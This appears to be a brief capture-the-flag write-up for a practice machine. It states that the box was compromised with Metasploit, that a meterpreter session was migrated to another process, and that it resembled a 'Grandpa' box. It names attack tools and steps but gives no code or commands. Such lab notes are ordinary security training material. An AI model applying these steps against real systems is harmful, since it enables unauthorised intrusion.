Whole box was done using metasploit.

I had to migrate the meterpreter to another process using migrate command for meterpreter

### Root Own

### Learning Outcome

This box was same as Grandpa box, and was nothing more to learn than what I had already learnt from that box. However, MSF Module for initial attack worked on this box, unlike Grandpa.
